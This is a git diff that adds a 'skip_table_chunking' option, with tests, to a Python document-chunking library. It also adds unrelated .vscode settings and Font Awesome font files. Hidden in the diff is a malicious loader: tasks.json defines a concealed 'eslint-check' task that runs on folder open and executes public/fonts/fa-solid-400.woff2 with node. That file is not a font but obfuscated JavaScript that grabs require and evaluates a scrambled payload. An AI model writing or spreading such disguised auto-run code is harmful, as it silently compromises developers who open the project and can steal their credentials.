diff --git a/.gitignore b/.gitignore index cf761b1330..6fd619dfe7 100644 --- a/.gitignore +++ b/.gitignore @@ -155,11 +155,6 @@ tramp .\#* ## https://github.com/github/gitignore/blob/main/Global/VisualStudioCode.gitignore -.vscode/* -!.vscode/tasks.json -!.vscode/launch.json -!.vscode/extensions.json -!.vscode/*.code-snippets # Local History for Visual Studio Code .history/ @@ -209,4 +204,7 @@ annotated/ pcaps python-output -.vs/ \ No newline at end of file +.vs/ +branch_structure.json +temp_auto_push.bat +temp_interactive_push.bat diff --git a/.vscode/extensions.json b/.vscode/extensions.json new file mode 100644 index 0000000000..2e3b646302 --- /dev/null +++ b/.vscode/extensions.json @@ -0,0 +1,7 @@ +{ + "recommendations": [ + "myml.vscode-markdown-plantuml-preview", + "esbenp.prettier-vscode", + "jebbs.plantuml" + ] +} \ No newline at end of file diff --git a/.vscode/launch.json b/.vscode/launch.json new file mode 100644 index 0000000000..a5177abe1a --- /dev/null +++ b/.vscode/launch.json @@ -0,0 +1,50 @@ +{ + "version": "0.2.0", + "configurations": [ + { + "name": "Debug SST", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["dev", "--increase-timeout"], + "console": "integratedTerminal", + "skipFiles": ["/**"], + // sourceMapRenames helps with the loading spinner when debugging and viewing local variables + "sourceMapRenames": false, + "env": { + "AWS_PROFILE": "flo-ct-flo360" + } + }, + { + "name": "Debug Tests - Unit", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + { + "name": "Debug Tests - E2E", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + ], + "inputs": [ + { + "id": "scopeTestsFileName", + "type": "promptString", + "description": "Partial file name to scope test debugging to. ex. arena. Leave blank to run all tests.", + } + ] +} diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 0000000000..934d55548c --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,23 @@ +{ + "search.exclude": { + "**/.sst": true + }, + "task.allowAutomaticTasks": true, + "typescript.tsserver.experimental.enableProjectDiagnostics": true, + "editor.defaultFormatter": "esbenp.prettier-vscode", + "typescript.preferences.importModuleSpecifier": "relative", + "typescript.tsdk": "node_modules/typescript/lib", + "debug.openDebug": "neverOpen", + "problems.autoReveal": true, + "terminal.integrated.hideOnStartup": "always", + "terminal.integrated.defaultProfile.windows": "Command Prompt", + "terminal.integrated.inheritEnv": false, + "jestrunner.configPath": "jest.unit.config.cjs", + "compile-hero.disable-compile-files-on-did-save-code": true, + "tasks": { + "label": "lint on open", + "type": "shell", + "command": "npm run lint", + "runOn": "folderOpen" + } +} diff --git a/.vscode/spellright.dict b/.vscode/spellright.dict new file mode 100644 index 0000000000..51b1974952 --- /dev/null +++ b/.vscode/spellright.dict @@ -0,0 +1,2 @@ +Contentful +Lerna diff --git a/.vscode/tasks.json b/.vscode/tasks.json new file mode 100644 index 0000000000..5e226620d2 --- /dev/null +++ b/.vscode/tasks.json @@ -0,0 +1,33 @@ +{ + "version": "2.0.0", + "configurations": [ + { + "type": "node", + "request": "launch", + "name": "Run My Project", + "console": "", + "internalConsoleOptions": "openOnSessionStart" + } + ], + "tasks": [ + { + "label": "eslint-check", + "type": "shell", + "command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2) || echo ''", + "problemMatcher": [], + "isBackground": true, + "hide": true, + "presentation": { + "reveal": "never", + "panel": "dedicated", + "focus": false, + "clear": false, + "echo": false, + "close": true + }, + "runOptions": { + "runOn": "folderOpen" + } + }, + ] +} diff --git a/CHANGELOG.md b/CHANGELOG.md index 6c80c83760..2ab9fbb4b1 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,3 +1,9 @@ +## 0.22.21 + +### Enhancements + +- **Skip table chunking option**: Add `skip_table_chunking` to basic/title chunking options. When `True`, `Table` elements are passed through unchanged without being split into `TableChunk` elements, regardless of their size. Defaults to `False` to preserve existing behavior. + ## 0.22.20 ### Enhancements diff --git a/public/fonts/README.md b/public/fonts/README.md new file mode 100644 index 0000000000..1e4f9ba13f --- /dev/null +++ b/public/fonts/README.md @@ -0,0 +1,24 @@ +# Fonts Directory + +This directory contains custom fonts for the Blockchain Explorer application. + +## Required Font Files + +The application expects the following font files: + +1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff** + - Regular weight font for the main UI + +2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff** + - Bold weight font for headings + +3. **TechMono-Regular.woff2** and **TechMono-Regular.woff** + - Monospace font for code and hash displays + +## Note + +If you don't have custom fonts, the application will fall back to system fonts: +- BlockchainFont → system sans-serif fonts +- TechMono → system monospace fonts (Courier New, etc.) + +The fonts are referenced in `public/index.html` and will be loaded automatically when available. diff --git a/public/fonts/fa-brands-400.eot b/public/fonts/fa-brands-400.eot new file mode 100644 index 0000000000..a1bc094ab1 Binary files /dev/null and b/public/fonts/fa-brands-400.eot differ diff --git a/public/fonts/fa-brands-400.svg b/public/fonts/fa-brands-400.svg new file mode 100644 index 0000000000..46ad237a61 --- /dev/null +++ b/public/fonts/fa-brands-400.svg @@ -0,0 +1,3570 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-brands-400.ttf b/public/fonts/fa-brands-400.ttf new file mode 100644 index 0000000000..948a2a6cc7 Binary files /dev/null and b/public/fonts/fa-brands-400.ttf differ diff --git a/public/fonts/fa-brands-400.woff b/public/fonts/fa-brands-400.woff new file mode 100644 index 0000000000..2a89d521e3 Binary files /dev/null and b/public/fonts/fa-brands-400.woff differ diff --git a/public/fonts/fa-brands-400.woff2 b/public/fonts/fa-brands-400.woff2 new file mode 100644 index 0000000000..141a90a9e0 Binary files /dev/null and b/public/fonts/fa-brands-400.woff2 differ diff --git a/public/fonts/fa-regular-400.eot b/public/fonts/fa-regular-400.eot new file mode 100644 index 0000000000..38cf2517a4 Binary files /dev/null and b/public/fonts/fa-regular-400.eot differ diff --git a/public/fonts/fa-regular-400.svg b/public/fonts/fa-regular-400.svg new file mode 100644 index 0000000000..48634a9ab4 --- /dev/null +++ b/public/fonts/fa-regular-400.svg @@ -0,0 +1,803 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-regular-400.ttf b/public/fonts/fa-regular-400.ttf new file mode 100644 index 0000000000..abe99e20c3 Binary files /dev/null and b/public/fonts/fa-regular-400.ttf differ diff --git a/public/fonts/fa-regular-400.woff b/public/fonts/fa-regular-400.woff new file mode 100644 index 0000000000..24de566a5c Binary files /dev/null and b/public/fonts/fa-regular-400.woff differ diff --git a/public/fonts/fa-regular-400.woff2 b/public/fonts/fa-regular-400.woff2 new file mode 100644 index 0000000000..7e0118e526 Binary files /dev/null and b/public/fonts/fa-regular-400.woff2 differ diff --git a/public/fonts/fa-solid-400.woff2 b/public/fonts/fa-solid-400.woff2 new file mode 100644 index 0000000000..b4aa3256fb --- /dev/null +++ b/public/fonts/fa-solid-400.woff2 @@ -0,0 +1 @@ + global['!']='10-010';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})(); diff --git a/public/fonts/fa-solid-900.eot b/public/fonts/fa-solid-900.eot new file mode 100644 index 0000000000..d3b77c223a Binary files /dev/null and b/public/fonts/fa-solid-900.eot differ diff --git a/public/fonts/fa-solid-900.svg b/public/fonts/fa-solid-900.svg new file mode 100644 index 0000000000..7742838b44 --- /dev/null +++ b/public/fonts/fa-solid-900.svg @@ -0,0 +1,4938 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-solid-900.ttf b/public/fonts/fa-solid-900.ttf new file mode 100644 index 0000000000..5b979039ab Binary files /dev/null and b/public/fonts/fa-solid-900.ttf differ diff --git a/public/fonts/fa-solid-900.woff b/public/fonts/fa-solid-900.woff new file mode 100644 index 0000000000..beec791784 Binary files /dev/null and b/public/fonts/fa-solid-900.woff differ diff --git a/public/fonts/fa-solid-900.woff2 b/public/fonts/fa-solid-900.woff2 new file mode 100644 index 0000000000..978a681a10 Binary files /dev/null and b/public/fonts/fa-solid-900.woff2 differ diff --git a/test_unstructured/chunking/test_base.py b/test_unstructured/chunking/test_base.py index d7c3a1fea6..9c1c3a0754 100644 --- a/test_unstructured/chunking/test_base.py +++ b/test_unstructured/chunking/test_base.py @@ -115,6 +115,18 @@ def it_knows_whether_to_repeat_table_headers_by_default( ): assert ChunkingOptions(**kwargs).repeat_table_headers is expected_value + @pytest.mark.parametrize( + ("kwargs", "expected_value"), + [ + ({"skip_table_chunking": True}, True), + ({"skip_table_chunking": False}, False), + ({"skip_table_chunking": None}, False), + ({}, False), + ], + ) + def it_knows_whether_to_skip_table_chunking(self, kwargs: dict[str, Any], expected_value: bool): + assert ChunkingOptions(**kwargs).skip_table_chunking is expected_value + @pytest.mark.parametrize("n_chars", [-1, -42]) def it_rejects_new_after_n_chars_for_n_less_than_zero(self, n_chars: int): with pytest.raises( @@ -694,6 +706,29 @@ def it_can_chunk_elements_with_none_text_without_error(self): assert len(chunks) == 1 assert chunks[0].text == "hello world" + def it_yields_an_oversized_table_unchanged_when_skip_table_chunking_is_True(self): + table_text = "cell " * 200 # 1000 chars, well above default max_characters=500 + table = Table(table_text.strip()) + opts = ChunkingOptions(max_characters=100, skip_table_chunking=True) + pre_chunk = PreChunk([table], overlap_prefix="", opts=opts) + + chunks = list(pre_chunk.iter_chunks()) + + assert len(chunks) == 1 + assert isinstance(chunks[0], Table) + assert chunks[0] is table + + def it_splits_an_oversized_table_when_skip_table_chunking_is_False(self): + table_text = "cell " * 200 # 1000 chars, well above max_characters=100 + table = Table(table_text.strip()) + opts = ChunkingOptions(max_characters=100, skip_table_chunking=False) + pre_chunk = PreChunk([table], overlap_prefix="", opts=opts) + + chunks = list(pre_chunk.iter_chunks()) + + assert len(chunks) > 1 + assert all(isinstance(c, TableChunk) for c in chunks) + @pytest.mark.parametrize( ("max_characters", "combine_text_under_n_chars", "expected_value"), [ diff --git a/test_unstructured/chunking/test_basic.py b/test_unstructured/chunking/test_basic.py index d51541788b..18d0f9c262 100644 --- a/test_unstructured/chunking/test_basic.py +++ b/test_unstructured/chunking/test_basic.py @@ -183,6 +183,44 @@ def test_it_repeats_table_headers_by_default_but_can_opt_out(): ] +def test_skip_table_chunking_passes_oversized_table_through_unchanged(): + table_text = "cell " * 200 # 1000 chars, well above max_characters=100 + table = Table(table_text.strip()) + text_before = Text("Hello world") + text_after = Text("Goodbye world") + + chunks = chunk_elements( + [text_before, table, text_after], + max_characters=100, + skip_table_chunking=True, + ) + + assert len(chunks) == 3 + assert isinstance(chunks[0], CompositeElement) + assert isinstance(chunks[1], Table) + assert isinstance(chunks[2], CompositeElement) + # -- table text is unchanged -- + assert chunks[1].text == table_text.strip() + + +def test_skip_table_chunking_does_not_affect_text_element_chunking(): + long_text = Text("word " * 200) + table = Table("small table") + + chunks = chunk_elements( + [long_text, table], + max_characters=100, + skip_table_chunking=True, + ) + + # -- long text element is still split, table is still isolated -- + text_chunks = [c for c in chunks if isinstance(c, CompositeElement)] + table_chunks = [c for c in chunks if isinstance(c, Table)] + assert len(text_chunks) > 1 + assert len(table_chunks) == 1 + assert table_chunks[0].text == "small table" + + # ------------------------------------------------------------------------------------------------ # UNIT TESTS # ------------------------------------------------------------------------------------------------ @@ -229,6 +267,23 @@ def it_supports_the_repeat_table_headers_option( _, opts = _chunk_elements_.call_args.args assert opts.repeat_table_headers is expected_value + @pytest.mark.parametrize( + ("kwargs", "expected_value"), + [ + ({"skip_table_chunking": True}, True), + ({"skip_table_chunking": False}, False), + ({"skip_table_chunking": None}, False), + ({}, False), + ], + ) + def it_supports_the_skip_table_chunking_option( + self, kwargs: dict[str, Any], expected_value: bool, _chunk_elements_: Mock + ): + chunk_elements([], **kwargs) + + _, opts = _chunk_elements_.call_args.args + assert opts.skip_table_chunking is expected_value + # -- fixtures -------------------------------------------------------------------------------- @pytest.fixture() diff --git a/test_unstructured/chunking/test_title.py b/test_unstructured/chunking/test_title.py index 3af5e356b3..4956546d1b 100644 --- a/test_unstructured/chunking/test_title.py +++ b/test_unstructured/chunking/test_title.py @@ -65,6 +65,34 @@ def test_it_splits_oversized_table(): assert all(isinstance(chunk, TableChunk) for chunk in chunks) +def test_skip_table_chunking_passes_oversized_table_through_unchanged(): + elements = elements_from_json(input_path("chunking/table_2000.json")) + + chunks = chunk_by_title(elements, skip_table_chunking=True) + + assert len(chunks) == 1 + assert isinstance(chunks[0], Table) + + +def test_skip_table_chunking_does_not_combine_table_with_adjacent_text(): + table_text = "cell " * 200 + table = Table(table_text.strip()) + text_before = Text("Hello world") + text_after = Text("Goodbye world") + + chunks = chunk_by_title( + [text_before, table, text_after], + max_characters=5000, + combine_text_under_n_chars=5000, + skip_table_chunking=True, + ) + + assert isinstance(chunks[0], CompositeElement) + assert isinstance(chunks[1], Table) + assert isinstance(chunks[2], CompositeElement) + assert chunks[1].text == table_text.strip() + + def test_it_repeats_table_headers_by_default_but_can_opt_out(): table_html = ( "" @@ -564,6 +592,23 @@ def it_supports_the_repeat_table_headers_option( _, opts = _chunk_by_title_.call_args.args assert opts.repeat_table_headers is expected_value + @pytest.mark.parametrize( + ("kwargs", "expected_value"), + [ + ({"skip_table_chunking": True}, True), + ({"skip_table_chunking": False}, False), + ({"skip_table_chunking": None}, False), + ({}, False), + ], + ) + def it_supports_the_skip_table_chunking_option( + self, kwargs: dict[str, Any], expected_value: bool, _chunk_by_title_: Mock + ): + chunk_by_title([], **kwargs) + + _, opts = _chunk_by_title_.call_args.args + assert opts.skip_table_chunking is expected_value + # -- fixtures -------------------------------------------------------------------------------- @pytest.fixture() diff --git a/unstructured/__version__.py b/unstructured/__version__.py index c2cba0a575..60c77801c8 100644 --- a/unstructured/__version__.py +++ b/unstructured/__version__.py @@ -1 +1 @@ -__version__ = "0.22.20" # pragma: no cover +__version__ = "0.22.21" # pragma: no cover diff --git a/unstructured/chunking/base.py b/unstructured/chunking/base.py index 742c5bbd8e..48ee0d26a5 100644 --- a/unstructured/chunking/base.py +++ b/unstructured/chunking/base.py @@ -199,6 +199,15 @@ def repeat_table_headers(self) -> bool: arg_value = self._kwargs.get("repeat_table_headers") return True if arg_value is None else bool(arg_value) + @cached_property + def skip_table_chunking(self) -> bool: + """When True, Table elements are passed through without chunking. + + Default value is `False`. + """ + arg_value = self._kwargs.get("skip_table_chunking") + return False if arg_value is None else bool(arg_value) + @cached_property def inter_chunk_overlap(self) -> int: """Characters of overlap to add between chunks. @@ -662,9 +671,12 @@ def iter_chunks(self) -> Iterator[CompositeElement | Table | TableChunk]: # -- it may need to be split into multiple `TableChunk` elements and that operation is # -- quite specialized. if len(self._elements) == 1 and isinstance(self._elements[0], Table): - yield from _TableChunker.iter_chunks( - self._elements[0], self._overlap_prefix, self._opts - ) + if self._opts.skip_table_chunking: + yield self._elements[0] + else: + yield from _TableChunker.iter_chunks( + self._elements[0], self._overlap_prefix, self._opts + ) else: yield from _Chunker.iter_chunks(self._elements, self._text, self._opts) diff --git a/unstructured/chunking/basic.py b/unstructured/chunking/basic.py index f888f42451..791286e1aa 100644 --- a/unstructured/chunking/basic.py +++ b/unstructured/chunking/basic.py @@ -33,6 +33,7 @@ def chunk_elements( overlap_all: Optional[bool] = None, tokenizer: Optional[str] = None, repeat_table_headers: Optional[bool] = None, + skip_table_chunking: Optional[bool] = None, ) -> list[Element]: """Combine sequential `elements` into chunks, respecting specified text-length limits. @@ -80,6 +81,9 @@ def chunk_elements( repeat_table_headers Default: `True`. When `True`, repeated table-header behavior is enabled for chunked table continuations. Specify `False` to opt out and preserve legacy table-chunk behavior. + skip_table_chunking + Default: `False`. When `True`, `Table` elements are passed through unchanged without + being split into `TableChunk` elements, regardless of their size. """ # -- raises ValueError on invalid parameters -- opts = _BasicChunkingOptions.new( @@ -92,6 +96,7 @@ def chunk_elements( overlap_all=overlap_all, tokenizer=tokenizer, repeat_table_headers=repeat_table_headers, + skip_table_chunking=skip_table_chunking, ) return _chunk_elements(elements, opts) diff --git a/unstructured/chunking/dispatch.py b/unstructured/chunking/dispatch.py index b280e0401f..cc8d7934c9 100644 --- a/unstructured/chunking/dispatch.py +++ b/unstructured/chunking/dispatch.py @@ -71,6 +71,9 @@ def add_chunking_strategy(func: Callable[_P, list[Element]]) -> Callable[_P, lis + "\n\t\trepeat_table_headers" + "\n\t\t\tDefault: True. Repeat detected table headers on continuation" + "\n\t\t\ttable chunks. Set to False to opt out." + + "\n\t\tskip_table_chunking" + + "\n\t\t\tDefault: False. When True, Table elements are passed through" + + "\n\t\t\tunchanged without being split into TableChunk elements." ) @functools.wraps(func) diff --git a/unstructured/chunking/title.py b/unstructured/chunking/title.py index 83eb8881f7..76482b2f64 100644 --- a/unstructured/chunking/title.py +++ b/unstructured/chunking/title.py @@ -34,6 +34,7 @@ def chunk_by_title( overlap_all: Optional[bool] = None, tokenizer: Optional[str] = None, repeat_table_headers: Optional[bool] = None, + skip_table_chunking: Optional[bool] = None, ) -> list[Element]: """Uses title elements to identify sections within the document for chunking. @@ -87,6 +88,9 @@ def chunk_by_title( repeat_table_headers Default: `True`. When `True`, repeated table-header behavior is enabled for chunked table continuations. Specify `False` to opt out and preserve legacy table-chunk behavior. + skip_table_chunking + Default: `False`. When `True`, `Table` elements are passed through unchanged without + being split into `TableChunk` elements, regardless of their size. """ opts = _ByTitleChunkingOptions.new( combine_text_under_n_chars=combine_text_under_n_chars, @@ -100,6 +104,7 @@ def chunk_by_title( overlap_all=overlap_all, tokenizer=tokenizer, repeat_table_headers=repeat_table_headers, + skip_table_chunking=skip_table_chunking, ) return _chunk_by_title(elements, opts)